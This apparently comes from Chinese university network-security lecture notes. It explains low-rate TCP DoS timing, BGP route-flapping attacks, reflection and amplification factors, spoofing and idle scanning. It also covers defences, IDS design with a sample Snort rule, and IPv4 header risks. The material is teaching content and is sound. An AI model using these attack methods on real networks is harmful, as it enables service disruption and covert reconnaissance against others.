| 83 | **攻击思路** 84 | 85 | 以RTO尺度通过周期性“方波”流量来干扰重传,以RTT尺度“冲击”令被攻击TCP流丢包;导致TCP吞吐量接近0,而攻击流量平均速率很低 86 | 87 | 攻击目标:在攻击成功同时,最小化DoS流量 88 | 89 | ``` 90 | ^ L1 L2 91 | | Rmax _ _ 92 | | | |_ C | |_ 93 | | | | | | 94 | | | | | | 95 | —————————————————————————————————> 96 | <—L—> 97 | <————T————> 98 | ``` 99 | 100 | **RTO尺度方波周期——冲击间隔时间T** 101 | 102 | - 对于单个流, 103 | - 假设minRTO=1秒,则时间序列为1,3,7,15,... 104 | - 对于集合流, 105 | - 采用周期T=minRTO的方波(而不是指数间隔) 106 | - 条件1:冲击持续时间l足够长令所有流同时丢包 107 | - 条件2:对于每个流,SRTT + 4*RTTVAR < minRTO 108 | - 若满足条件1和2,则所有流“同步”同时进入超时 109 | - 若一个流子集满足条件1和2,则该子集“同步”超时 110 | 111 | **RTT尺度冲击时长——冲击持续时间L** 112 | 113 | - 阶段1:填满瓶颈处队列缓冲所需时间L1 114 | - 空闲缓冲大小 / (DoS速率+TCP速率-瓶颈速率C) 115 | - 为缩短L1,DoS速率=Rmax 116 | - 阶段2:保持队列缓冲被填满时间L2 117 | - DoS速率=瓶颈速率C 118 | - 但双阶段冲击需估计瓶颈容量、缓冲大小、次瓶颈速率,为此简化为“方波” 119 | 120 | **防御** 121 | 122 | - 路由器端:公平队列 123 | - 主机端:增加初始窗口大小,随机化minRTO 124 | - 需要在TCP性能和攻击风险间取舍 125 | 126 | -- 127 | 128 | ### 攻击路由器 129 | 130 | [何为'数字大炮'?](http://blog.hit.edu.cn/yuzhang/post/4.html) 131 | 132 | ‘数字大炮’的说法,最初来自新华网的一篇新闻[“美发明网络“数字大炮”可摧毁整个互联网“](http://news.xinhuanet.com/mil/2011-02/15/c_121082249.htm)。该新闻翻译自一个科普杂志NewScientist上对NDSS'2011会议上一篇文章的报道[“The cyberweapon that could take down the internet(能够摧毁Internet的数字武器)”](http://www.newscientist.com/article/dn20113-the-cyberweapon-that-could-take-down-the-internet/)。标题中的‘cyberweapon’加上报道中出现了‘digital ordnance’的文字,可能是新华网翻译为‘数字大炮’原因。不过,‘cyberweapon’(数字/网络武器)泛指军用网络攻击技术的说法更为普遍,‘digital ordnance’只是作者的一个比喻。 133 | 134 | NDSS'2011会议上的文章为[“Losing Control of the Internet: Using the Data Plane to Attack the Control Plane(Internet失控:利用数据面攻击控制面)”](http://www-users.cs.umn.edu/~hopper/lci-ndss.pdf)。该文章主要是对NDSS'2007上一片文章[“Low-Rate TCP-Targeted DoS Attack Disrupts Internet Routing(针对TCP的低速DoS攻击干扰Internet路由)”](http://www.isoc.org/isoc/conferences/ndss/07/papers/low-rate_TCP-targeted_DOS_attacks.pdf)所提出的方法进行模拟评价。这两篇文章中也都没有‘cyberweapon’或‘digital ordnance’的说法。因此,严格的说,并不存在所谓的‘数字大炮’技术。 135 | 136 | ``` 137 | 138 | ————— Router1 ———————X—————— Router2 ———— 139 | | | 140 | |_____ Alter route_____| 141 | 142 | ``` 143 | 144 | NDSS'2007上的文章提出,利用针对TCP的低速DoS攻击,使得一对BGP路由器间基于TCP的会话因拥塞而中断;目标BGP路由器会撤销已有路由,并寻找替代路由;当新路由建立后,攻击流量流向新路径,旧连接上拥塞消失,旧的BGP会话恢复;此时,攻击流量再次被路由到目标连接上,拥塞又发生,会话再次中断;上述情况周而复始,导致路由摆动,严重影响网络连通性。不仅如此,因为在BGP中,局部变化会传播到整个网络,具有一种‘放大器效应’,所以整个网络上路由器都会不同程度受到影响。该攻击的特点是,通过数据面上的攻击引起控制面上的故障。因此,理论上对路由协议的改进无法彻底阻止该攻击,而根本的解决方法是,分离数据面流量和控制面流量,以保证BGP会话流量不受干扰。 145 | 146 | 另外,针对TCP的低速DoS攻击最初是在SIGCOMM'2003会议上提出的,论文[“Low-Rate TCP-Targeted Denial of Service Attacks(针对TCP的低速DoS攻击)”[期刊版]](http://www.cs.northwestern.edu/~akuzma/doc/ShrewToN.pdf)。该攻击通过测量目标主机TCP行为参数,有针对性的发出特定时间间隔的脉冲流量,从而引起TCP连接中断。该攻击的主要优点是所需攻击流量规模较小,无需持续阻塞目标链路;缺点是需要提前获得目标主机TCP参数。 147 | 148 | 综上,‘数字大炮’是媒体的一种渲染,其原理是通过DoS攻击来打断BGP会话,引发路由摆动。 149 | 150 | ### 攻击进行中的通信 151 | 152 | 例如在前面学习的TCP重置和劫持攻击 153 | 154 | ### 利用受害者本身的资源攻击 155 | 156 | 一个例子是利用[UDP echo](https://en.wikipedia.org/wiki/Echo_Protocol)和[UDP chargen](https://en.wikipedia.org/wiki/Character_Generator_Protocol)服务器: 157 | 158 | - UDP Echo(端口7):以与请求相同的包做应答 159 | - UDP Chargen(端口19):丢弃请求,应答一个预设字符串 160 | 161 | 攻击者将源地址伪造为chargen服务器地址,向受害者echo端口发送一个包,echo应答又触发chargen服务器发送一个包,导致两台机器“打乒乓球”。 162 | 163 | ### 攻击本地主机或设施 164 | 165 | - 耗尽DHCP服务中地址池,伪造DHCP应答 166 | - ARP伪造;伪造ARP应答;伪造MAC地址 167 | - 广播风暴:向广播MAC地址发包 168 | - 802.11无线网络 169 | - 在非特许频段上采用CSMA/CA方式,会发生信源干扰,易于被无线电拥塞攻击 170 | - 链路自动配置中漏洞,伪造Beacon帧,伪造/干扰认证/解认证(authentication)、连接/解连接(assocaition)等 171 | 172 | ### 通过DNS攻击站点 173 | 174 | - 直接攻击权威服务器,攻击根服务器 175 | - 之前学习的DNS缓存下毒 176 | 177 | ### 攻击防火墙/IDS 178 | 179 | - 防火墙/IDS分为有状态和无状态两类,防火墙故障通常引起断网 180 | - 对于有状态,可通过构造病态流量令内存过载 181 | - 对于无状态,可简单以大流量来耗尽处理资源 182 | - 对于反应型IDS,以受害者身份伪造攻击流量,令IDS封堵受害者 183 | 184 | ### 物理DoS 185 | - 2015年5月27日支付宝故障是由于杭州市萧山区某地光纤被挖断 186 | 187 | ### 垃圾邮件与黑洞列表 188 | 189 | - 大量垃圾邮件是对邮件系统的DoS 190 | - 黑洞列表包括发送垃圾邮件的拨号ISP和邮件服务器IP地址。攻击者伪装为受害者发送垃圾邮件,令未发送垃圾邮件的受害者加入黑洞列表中 191 | - 例如我们实验室的pact518邮箱多次被gmail封堵 192 | 193 | --- 194 | 195 | ## 攻击放大器 196 | 197 | ### 攻击 198 | 199 | - [smurf攻击](https://en.wikipedia.org/wiki/Smurf_attack):伪造受害者源地址+ICMP echo request发送到子网广播地址 200 | - DNS放大:伪造受害者源地址发送查询+应答包远大于查询包 201 | - TCP放大([“bang.c”](https://www.exploit-db.com/exploits/343/)):伪造受害者源地址发送SYN包+服务器重传多个SYN|ACK包 202 | - 在协议负载中包含IP地址或主机名,例如SIP中SDP 203 | - [UDP放大比例](https://en.wikipedia.org/wiki/Denial-of-service_attack#Amplification) 204 | - NTP - 556.9 205 | - CharGen - 358.8 206 | - DNS - 179 207 | - [QOTD (The Quote Of The Day)](https://en.wikipedia.org/wiki/QOTD) - 140.3 208 | - [Quake Network Protocol](http://blog.alejandronolla.com/2013/06/24/amplification-ddos-attack-with-quake3-servers-an-analysis-1-slash-2/)- 63.9 209 | - BitTorrent - 54.3 210 | 211 | ### 防御 212 | - 入口过滤来阻止源地址伪造 213 | - 避免远大于请求包大小的应答包大小,除非有握手来验证源地址 214 | - 初始连接建立过程中,应由客户端负责重传 215 | - 避免触发第三方连接,除非之前有验证 216 | 217 | ## DoS缓解策略 218 | 219 | 原则上不可能区分一个足够精妙的DoS攻击和一伙蜂拥而至的用户,出乎意料的大量但非恶意的流量和DoS攻击有一样的效果 220 | 221 | - 避免优于普通资源消耗的攻击 222 | - 最小化普通资源消耗攻击对真正用户排挤程度 223 | 224 | 尽快检测,尽可能从源头阻止 225 | 226 | - 分类: 227 | - 防御位置:源,目的,网络,混合 228 | - 防御时间:事前(攻击阻止),事中(攻击检测),事后(攻击溯源与响应) 229 | 230 | - 一篇DDoS防御综述:[A Survey of Defense Mechanisms Against Distributed Denial of Service (DDoS) Flooding Attacks. IEEE Communications Surveys & Tutorials, 2013](http://d-scholarship.pitt.edu/19225/1/FinalVersion.pdf) 231 | - SYN Flood攻击防御:[RFC4987: TCP SYN Flooding Attacks and Common Mitigations (2007)](https://tools.ietf.org/html/rfc4987) 232 | 233 | ### 协议设计 234 | 235 | - 不要保留未验证主机的状态 236 | 237 | - [SYN cookies](http://cr.yp.to/syncookies.html): 在三次握手过程中,服务器不保留客户端SYN包或会话信息,而是在SYN|ACK包的ISN中嵌入连接信息(cookie),之后用客户端返回包ACK号来验证 238 | 239 | - 服务器ISN构造: 240 | - 前5位: `t mod 32`, `t`计时器每64秒加1 241 | - 中3位: `m` = MSS(Maximum Segment Size)编码 242 | - 末24位: `s` = MAC(TCP4元组,`t`,密钥) 243 | - 验证返回ACK: 244 | - 与当前时间比较,检查`t`是否超时 245 | - 重新计算`s`验证cookie 246 | - 解码`m`值 247 | - 问题:这对TCP劫持有什么影响? 248 | 249 | - 增加伪装真正用户的难度 250 | - Puzzle:强制攻击者进行一些计算 251 | - 反向图灵测试:对人容易但对机器难的Puzzle 252 | - 例如,验证码,Completely Automated Public Turing test to tell Computers and Humans Apart (CAPTCHA)) 253 | - 可达性测试:强制客户端证明其从指定IP地址接收流量 254 | - 例如一些商业公司(Akamai, cloudFlare)方案,分离TCP连接和HTTP服务。采用专用TCP连接设备作为网关,当TCP连接建立后,将请求转发给后面的HTTP服务器 255 | - 局限性:增加真正用户负担,对以真正用户行为的攻击无效 256 | - 优雅路由退化(Graceful Routing Degradation) 257 | - 优雅退化,即容错。 258 | - 发生故障后,RIP将度量设为无穷,回复后收到新更新 259 | - BGP是有状态的(累积更新),恢复需完全重启整个会话,重传路由表 260 | - 状态查询复杂性: 261 | - 避免活锁:用poll替代中断,例如[Linux New API (NAPI)](https://en.wikipedia.org/wiki/New_API) 262 | - 会话ID不可预测: 263 | - TCP的ISN的随机化 264 | - DNS的源端口号和ID随机化 265 | - 针对Shrew攻击,随机化minRTO 266 | - 自动配置与认证 267 | - 未认证的自动配置便于部署,但易于被攻击 268 | 269 | ### 网络设计与配置 270 | 271 | - 网络在面对带内(数据面或控制面)DoS攻击时,应提供私有带外访问(通过一个不同的基础设施) 272 | 273 | - 冗余与分布式服务:这是基本的容错设计原则 274 | - 路由邻接性认证:相邻路由器间通过密码学认证 275 | - 隔离路由器到路由器流量:即分离控制面与数据面流量 276 | 277 | - 尽早清除坏流量:源地址伪造包入口过滤 278 | - [RFC2827: Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing (BCP38) (2000)](https://tools.ietf.org/html/rfc2827) 279 | - [RFC3704: Ingress Filtering for Multihomed Networks (BCP84) (2004)](https://tools.ietf.org/html/rfc3704) 280 | - Ingress Access Lists:静态列表 281 | - Strict RPF (Reverse Path Forwarding):检查数据包的入口是否与FIB中以源地址为目的的下一跳接口相同 282 | - Cisco IOS中,`ip verify unicast reverse-path` 283 | - Feasbile RPF:入口为可行下一跳接口之一 284 | - Loose RPF:只检查是否存在路由,无真正RPF 285 | - Loose RPF ignoring default routes:检查除缺省路由外,是否存在路由,无真正RPF 286 | - 局限性:对自己帮助很小,需要大家都这么做才有效 287 | - [Anti-Spoofing, BCP 38, and the Tragedy of the Commons](http://www.internetsociety.org/deploy360/blog/2014/07/anti-spoofing-bcp-38-and-the-tragedy-of-the-commons/) 288 | - 建立监测框架:运营商建立监测框架来检测异常网络活动 289 | 290 | ### 路由器实现问题 291 | 292 | - 检查协议词法与语义: 293 | - 谁发送消息?是否遵循协议格式?发送时间是否正确? 294 | - 一致性检查: 295 | - 例如BGP中,对于一个前缀,来自多个邻居AS的起源是否一致 296 | - 通过操作调整来增强路由器鲁棒性: 297 | - 例如调整BGP的KeppAlive和Hold Timer值来最小化BGP互联会话重置 298 | - 恰当处理路由器资源消耗: 299 | - 一个例子:高端路由器中由ASCI来处理大部分流量,一些异常包由通用CPU处理;存在一种低PPS攻击,构造异常包来饱和ASCI和CPU之间的队列;对策是采用多个此类队列,并令攻击者难以填满多个队列 300 | 301 | ### IP Traceback 302 | 303 | 1985年,Morris在一篇论文中写到: 304 | > 该方案[IP]弱点是源主机自己来填写IP源主机ID,而且TCP/IP中没有措施来发现一个包的真正起源。 305 | 306 | [IP traceback](https://en.wikipedia.org/wiki/IP_traceback):追踪一个攻击流量的真正起源 307 | 308 | - 一种简单方法:路由器在IP包中写入自己的IP地址,受害者从IP包中获知到通往攻击者的完整路径,缺点是增加IP包大小,兼容性差 309 | - 包标记: 310 | - 概率性标记:每台路由器随机地在包中写入自己部分信息,大量经过相同路径的包中信息“拼成”路径 311 | - 确定性标记:在网络入口处,在包中写入部分信息 312 | - ICMP Traceback:路由器向目的主机随机发送包含了包/点/边信息ICMP Traceback包,通过多个Traceback包构造路径 313 | - 基于路由器:在路由器中存储所发送过的包信息 314 | - 活动流量追踪:当攻击正在进行时,通过路由器间协作追踪攻击者 315 | 316 | 下面介绍一种具体的概率性标记方案: 317 | 318 | [Practical Network Support for IP Traceback (SIGCOMM 2000)](supplements/IP-Traceback.pdf) 319 | 320 | #### 标记过程(边采样) 321 | 322 | - 在包中写入的数据: 323 | - edge:start , end (IP地址) 324 | - distance:从边被写入之后的跳数 325 | - 路由器R的标记过程: 326 | - 以概率p: 327 | - start <- R; 328 | - distance <- 0; 329 | - 以概率1-p: 330 | - if distance==0 {end <- R;} 331 | - distance++; 332 | 333 | ``` 334 | Attacker—————R1—————R2—————R3—————Victim 335 | Probability: p 1-p 1-p 336 | Start: R1 R1 R1 R1 337 | End: - R2 R2 R2 338 | Distance: 0 1 2 2 339 | 340 | ``` 341 | #### 路径重构 342 | 343 | - 以受害者v为根的树G,G上边为(start,end,distance) 344 | - 对于每个包w 345 | - If w.distance == 0 {在G中插入边(w.start,v,0)} 346 | - Else 在G中插入边(w.start,w.end,distance) 347 | - 对于边(x,y,d),If (d != x到v在G上距离) 删除该边 348 | - 提取G上所有无环路径 349 | 350 | 重构长度为d的路径所需要包数: 351 | 352 | - E(X) < ln(d) / (p(1-p)^{d-1}) 353 | - p=1/25,d=10,X<108 354 | 355 | #### 编码 356 | 357 | 每个边需要72bit=2*32bit地址+8bit距离,但难以放入IP头部。 358 | 359 | 一种压缩边片段采样方法只使用16bit的IP-ID域: 360 | 361 | ``` 362 | +——————+——————————+————————————————+ 363 | |offset|distance | edge fragment | 364 | | 3bits| 5bits | 8bits | 365 | +——————+——————————+————————————————+ 366 | 0 1 2 3 4 5 6 7 8 9 1 1 1 1 1 1 367 | 0 1 2 3 4 5 368 | ``` 369 | 370 | 通过异或(XOR)两个节点IP地址,将边ID压缩一半空间(64bit->32bit)。 371 | 372 | ``` 373 | path packets reconstructed 374 | a 375 | | -> a^b —————————— 376 | b |^-> a 377 | | -> b^c ————— | 378 | c |^-> b 379 | | -> c^d — | 380 | d |^-> c 381 | | -> d — 382 | victim 383 | ``` 384 | 385 | 将边ID进一步分为不重叠的k份片段,路由器在包中随机地写入一份加上额外log_2(k) bit来标识偏移量(即第几份)。受害者通过足够多的包可以把k份片段重构出来。 386 | 387 | 但是,边ID不是唯一的,不同边的某个片段也可能相同。为降低将不同边的片段错误组合在一起的可能,使用一种查错码机制: 388 | 389 | - 地址与Hash(地址)按位交叉,地址在奇数位,Hash(地址)在偶数位 390 | - 将交叉后比特串分为K份 391 | - 当写入start地址时,路由器随机选择一份 392 | - 当写入end地址时,选择start地址中偏移量相同的一份异或 393 | - 重构边ID 394 | - 将K份片段拼装后解交叉,分为地址和Hash值 395 | - 将地址部分重新Hash,与Hash值比较 396 | - 若相同,则接受该地址 397 | - 否则,不接受,尝试其他拼装 398 | 399 | 假设地址8bit,分为2份: 400 | 401 | ``` 402 | Address Hash(Address) 403 | 01101010 10101110 404 | | | 405 | ———Interleave——— 406 | | 407 | [01101100] [11011100] 408 | | 409 | ——Deinterleave—— 410 | | | 411 | 01101010 10101110———+ |—> != Reject 412 | | |——+ 413 | +———Hash——>10101110———+ |—> == Accept 414 | ``` 415 | 重构长度为d的路径所需要包数: 416 | 417 | - E(X) < k * ln(kd) / (p(1-p)^{d-1}) 418 | - p=1/25, d=10, k=8,X<1300 419 | 420 | 局限性: 421 | 422 | - 依旧有错误的可能。对于哈希值长度=32,k=8,以97%概率无错误条件下,相同距离下只支持10个不同路由器 423 | - 大量可能片段组合需要检验。当k=8,攻击者数=10,并且攻击者通过10各不同的边,则有10亿组合需要检验 424 | 425 | 改进方案: 426 | 427 | - [Advanced and Authenticated Marking Schemes for IP Traceback (INFOCOM 2001)](http://www.cs.berkeley.edu/~dawnsong/papers/iptrace.pdf) 428 | - [Hash-Based IP Traceback (SIGCOMM 2001) [期刊版]](http://cseweb.ucsd.edu/~snoeren/papers/spie-ton.pdf) 429 | 430 | -- 431 | 432 | ### 结语 433 | 434 | - 发动DoS攻击比许多其他攻击的代价要高 435 | - 防御DoS不是阻止所有攻击,而是提高攻击的门槛 436 | - 或许一种最根本的解决方法是令攻击者对目标没兴趣 437 | 438 | --- 439 | 440 | -------------------------------------------------------------------------------- /network-security/ddos.pptx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/YuZhang/Security-Courseware/929151c54c6c48190af06a763a3c643e9ad6beb2/network-security/ddos.pptx -------------------------------------------------------------------------------- /network-security/ids.md: -------------------------------------------------------------------------------- 1 | # IDS(入侵检测系统) 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2018 4 | 5 | --- 6 | 7 | ## 1. IDS 8 | 9 | [Intrusion detection system](https://en.wikipedia.org/wiki/Intrusion_detection_system):是一种网络安全设备或应用软件,可以监控网络传输或系统,检查是否有可疑活动或违反政策。发现异常时,发出警报或者采取主动措施。 10 | 11 | - IDS最早出现在1980年4月,美国国家安全局的James P. Anderson为美国空军做了一份题为《Computer Security Threat Monitoring and Surveillance》的技术报告,在其中他提出了IDS的概念。 12 | - 防火墙与IDS的不同之处在于,前者通常只监测包头部,后者通常监测整个流量;前者通常不会失效,后者可能会失效;前者通常在通信链路上,后者通常旁路监听 13 | - 与IDS类似的是IPS(入侵阻止系统),其强调发现潜在攻击后阻止攻击;两者的界限并不明显。 14 | - 根据IDS部署的位置,可以分为网络IDS(NIDS),主机IDS(HIDS),分布式IDS(D-IDS)等。 15 | - 从软件系统角度,IDS通常包括如下模块:流量获取与分析,策略配置与知识库,检测与决策引擎,警告生成与响应。 16 | - “The IDS approach to security is based on the assumption that a system will not be secure, but that violations of security policy (intrusions) can be detected by monitoring and analyzing system behavior.” (Forrest 98) 17 | - 最著名的IDS是[Snort](https://en.wikipedia.org/wiki/Snort_(software)),1998年由Martin Roesch创建。2013年被Cisco收购并继续开发,Roesch担任首席安全体系构架师。2009年,Snort进入InfoWorld的开源名人堂。 18 | 一个Snort规则的例子: 19 | `alert tcp any any -> 192.168.1.0/24 111 (content:"|00 01 86 a5|"; msg: "mountd access";)`。 20 | 21 | 22 | ### IDS本身也是被攻击目标或者被绕过 23 | 24 | 例如,攻击者试图让监测器错误地认为是以nice用户登陆 25 | 26 | ``` 27 | 10 hops 18 hops 28 | “USER” ------------------+-----------------> 29 | TTL=20 | 30 | | Victim 31 | "nice" ------------------+-----> X USER:root 32 | TTL=12 | 33 | | 34 | "root" ------------------+-----------------> 35 | TTL=20 | 36 | IDS Monitor 37 | 38 | ``` 39 | 40 | ### 检测方法: 41 | 42 | - 滥用检测(misuse):根据预先配置的已知攻击模式作为特征来进行检测,也称为Signature-based;Snort和Bro等系统采用此类方法。优点是准确,误报率低,容易跟踪攻击,节省管理时间成本;缺点是容易被“绕过”,需要更新攻击指纹,需要深度包检测,无法应对“未知”攻击; 43 | - 异常检测(abnormal/anomaly):建立“正常行为”基线,发现偏离了基线的异常事件,用来发现“未知”的攻击;是学术界的研究热点,但很少实际部署,稍后会进一步介绍。优点是可能发现未知攻击,维护成本低,可能越用越准确;缺点是准确率低,可能漏掉攻击,特别是误报率高导致管理时间成本增加; 44 | 45 | 46 | ## 2. Bro 47 | 48 | 本节学习一个滥用检测NIDS,Bro,最早的入侵检测系统研究之一。Bro: A System for Detecting Network Intruders in Real-Time Vern Paxson [[Slides](supplements/bro-slides.pdf)]。其设计目标如下: 49 | 50 | - 高速大流量监测(在1998年时,100M) 51 | - 不丢包,否则可能漏掉关键消息 52 | - 实时通知 53 | - 机制与政策分离,Mechanism separate from policy 54 | - 可扩展,以应对新攻击 55 | - 避免简单错误,防止安全政策被错误制定 56 | - 监测器可能被攻击(为此提出了一个假设:只有一端会攻击监测器,即另一端时可信的) 57 | - 最后,由于被保护的是基础研究机构,只追求最小化入侵活动,而不追求“无懈可击”的安全 58 | 59 | Bro主要包括三个分部: 60 | 61 | - libpcap,根据tcpdump过滤器捕包,将数据包流提交给Event Engine 62 | - Event Engine,产生事件,例如,连接已经建立 63 | - Policy Script Interpreter,以政策脚本为输入,输出实时通知或日志 64 | 65 | 我们通过[[Slides](supplements/bro-slides.pdf)]来学习一下Bro。 66 | 67 | ## 3. 异常检测 68 | 69 | 70 | 本节学习一篇关于IDS中采用机器学习方法的异常检测研究论文:Outside the Closed World: On Using Machine Learning for Network Intrusion Detection,IEEE S&P 2010. 71 | 72 | 这篇论文主要讨论了为什么学术界热衷于采用机器学习方法来进行异常检测,但实际几乎都无法应用。由此,我们来了解一下安全研究和其他计算机应用研究究竟有什么不同。在此之前,我们先了解一下“贝叶斯谬误”。 73 | 74 | ### 贝叶斯谬误:一个能检测出99%攻击的IDS真的好吗? 75 | 76 | - P[T]是攻击概率,即所有网络事件中攻击所占比例 77 | - P[F]是一次事件被IDS标记为攻击的概率 78 | - P[F|T]是IDS供应商声称的准确率,例如P[F|T]=99%,这比当前大多数产品都高 79 | - 考虑一个情况,P[T]=0.0001 80 | - P[F] = P[F|T]xP[T]+P[F|!T]xP[!T] = 0.99x0.0001+0.01x0.9999 = 0.010098 81 | - P[T|F] = P[F|T]xP[T]/P[F] = 0.00x0.0001/0.010098 = 0.0098 82 | - 标记为攻击事件时,实际真正时攻击的概率不到1% 83 | - 因此,降低误报率(false positive)是一个主要问题! 84 | 85 | ``` 86 | | P[T] | P[F] | P[F|T] | P[T|F] | 87 | |---------|----------|----------|----------| 88 | | 0.1 | 0.38 | 0.65 | 0.171 | 89 | | 0.001 | 0.01098 | 0.99 | 0.090164 | 90 | | 0.1 | 0.108 | 0.99 | 0.911667 | 91 | | 0.00001 | 0.00002 | 0.99999 | 0.5 | 92 | ``` 93 | 94 | 下面我们通过一个[[Slides]](supplements/anomaly.pdf)来学习这篇论文。 95 | 96 | ---- 97 | 98 | 99 | 100 | 101 | 102 | -------------------------------------------------------------------------------- /network-security/ip-sec.md: -------------------------------------------------------------------------------- 1 | # TCP/IP安全2——IPv4协议安全 2 | 3 | ### 哈尔滨工业大学 网络与信息安全 张宇 2018 4 | 5 | --- 6 | 7 | 背景:IPv4是互联网的核心协议,对其进行安全评估是必要的,但一直以来都缺乏一份“官方”文档。[RFC6274: Security Assessment of the Internet Protocol Version 4, 2011](https://www.ietf.org/rfc/rfc6274.txt),是针对IPv4安全性评估的第一份全面的IETF文档。 8 | 9 | 10 | ## 1. IP头部 11 | 12 | 13 | ``` 14 | 0 1 2 3 15 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 16 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 17 | |Version| IHL |Type of Service| Total Length | 18 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 19 | | Identification |Flags| Fragment Offset | 20 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 21 | | Time to Live | Protocol | Header Checksum | 22 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 23 | | Source Address | 24 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 25 | | Destination Address | 26 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 27 | | [ Options ] | [ Padding ] | 28 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 29 | 30 | Figure 1: Internet Protocol Header Format 31 | ``` 32 | 33 | ### 1.1 前32比特 34 | 35 | - 最小IP头部大小20字节,检查`LinkLayer.PayloadSize >= 20`. 36 | - Version:版本号为4;在以太网帧中,也会用`EtherType=0x0800`来表示IPv4数据报;若只根据以太类型来判断,而不检查版本号,则攻击者可能绕过NIDS中的模式匹配,例如用其他链路层“Protocol Type”来封装IPv4包。 37 | - IHL(头部长度):32比特(4字节)的整数倍;应不小于最小头部大小20字节,即大于等于5;同时,应小于整个包实际长度/4。 38 | - TOS(服务质量):实际网络中并没有大范围使用; 39 | - 在区分服务(Differentiated Service)中,攻击者可能伪造DSCP字段为`11x000`来获得更高的转发优先级,进而导致对其他低优先级流(`000000`)的DoS攻击; 40 | - 在显式拥塞通知(ECN)中,一台主机通过标记数据包中特定位置来通知路由器该主机具有ECN能力,路由器在发生轻微拥塞时,会采用RED机制来管理队列,而不会丢弃这类数据包,这导致该数据流有更高优先级; 41 | - 总长度:16比特表示最大65535字节,但RFC791中规定所有主机应最大支持576字节,而目前多数实现支持至少9K字节。如果直接根据总长度字段来读取报文,可能出错,应该根据链路负载大小来检查总长度字段。 42 | - 许多运行带有Cisco Express Forwarding的Cisco IOS系统的设备,在处理总长度超过实际包大小时,会从缓冲中读取之前包的内容,可能对将之前包的分片包含进当前包中,导致信息泄漏。 43 | 44 | ### 1.2 ID域 45 | 46 | ID:许多系统以协议无关、递增的方式来使用ID,这导致很多安全问题。例如,ID很容易重复,以及[Idle Scan](https://nmap.org/book/idlescan.html):不使用自己的IP地址进行扫描来发现开放/(关闭/过滤)端口。攻击原理是间接利用僵尸主机来探测目标主机,根据僵尸主机ID序号变化来判断目标主机端口开放情况。通常分为三个阶段: 47 | 48 | - 攻击者探测僵尸主机,确认其可用,并获得其当前ID值x; 49 | - 攻击者仿冒僵尸主机地址发送探测包,触发目标主机与僵尸主机间交互; 50 | - 若目标主机上的目标端口开放,则会触发僵尸主机发送一个报文,ID值=x+1;否则,ID值不变; 51 | - 攻击者再次探测僵尸主机,获得其当前ID值y,并根据ID值变化情况来推测目标主机的状态; 52 | - 若y=x+1,则说明目标端口不开放;否则,y=x+2,说明目标端口开放; 53 | 54 | ``` 55 | SCAN AN OPEN PORT: 56 | Attacker Zombie Target 57 | |-------- (1) SYN/ACK ----------> | | 58 | <------- (2) RST; ID=31337 ---------| | 59 | |-------------------- (3) SYN "from" Zombie ------------------>| 60 | <-- (4) SYN/ACK -----------| 61 | |--- (5) RST; ID=31338 --->| 62 | |-------- (6) SYN/ACK ----------> | 63 | <------- (7) RST; ID=31339 ---------| 64 | ``` 65 | 66 | ``` 67 | SCAN A CLOSED PORT: 68 | Attacker Zombie Target 69 | |-------- (1) SYN/ACK ----------> | | 70 | <------- (2) RST; ID=31337 ---------| | 71 | |-------------------- (3) SYN "from" Zombie ------------------>| 72 | <------ (4) RST -----------| 73 | |------ No response ----->| 74 | |-------- (6) SYN/ACK ----------> | 75 | <------- (7) RST; ID=31338 ---------| 76 | ``` 77 | 78 | ``` 79 | SCAN A FILTERED PORT: 80 | Attacker Zombie Target 81 | |-------- (1) SYN/ACK ----------> | | 82 | <------- (2) RST; ID=31337 ---------| | 83 | |-------------------- (3) SYN "from" Zombie ------------------>| 84 | <------ No response -------| 85 | |-------- (6) SYN/ACK ----------> | 86 | <------- (7) RST; ID=31338 ---------| 87 | ``` 88 | 89 | 由于ID只用来组装IP分片,一些操作系统(例如Linux)将不分片的(DF位=1)数据报中的ID置零来避免信息泄漏,但一些中间盒设备会将DF位=1的包也分片,所以可能会导致ID碰撞。 90 | 91 | Linux(以及Solaris)后来按IP地址来设置ID,即不同的IP地址用不同的ID计数器;但仍存在一些问题,例如可以通过一个负载均衡器的ID来计算其后系统的数量。 92 | 93 | ID只要在「原地址,目的地址,协议」下唯一就可以。因此,可以采用一个伪随机数生成器来产生ID。 94 | 95 | ### 1.2 Flags域与Fragment Offest域 96 | 97 | Flags: 98 | 99 | - Bit 0: 保留 100 | - Bit 1: DF = 1, Don't Fragment 101 | - Bit 2: MF = 1, More Fragments;0 Last Fragment 102 | 103 | 通常,DF被置1来实现Path-MTU Discovery(PMTUD):当一个包“过大”,又不能被分片时,会被设备丢弃,并产生一个ICMP “fragmentation needed and DF bit set” error。从而,探测最大PMTU。 104 | 105 | 该机制可能被利用来“绕过”IDS:IDS可能误以为一个大小超过PMTU且DF=1的数据包到达了目标,而实际情况是该数据包被中间路由器所丢弃。 106 | 107 | Fragment Offset:以8字节为单位,表示分片在原数据报中偏移量。该字段大小应在合理范围内,其他安全问题稍后会在IP分片与重组方面讨论。 108 | 109 | ### 1.3 TTL 110 | 111 | TTL可以被用于实现以下功能: 112 | 113 | - 估计主机距离:初始TTL通常设置成2的幂或255; 114 | - 识别操作系统、物理设备:不同操作系统设置不同的初始值,同一中间盒设备之后的不同设备有不同的初始TTL; 115 | - 绘制网络拓扑、定位主机:traceroute;多个监测点到目标的距离形成对目标的定位; 116 | - 绕过IDS:见IDS部分; 117 | - 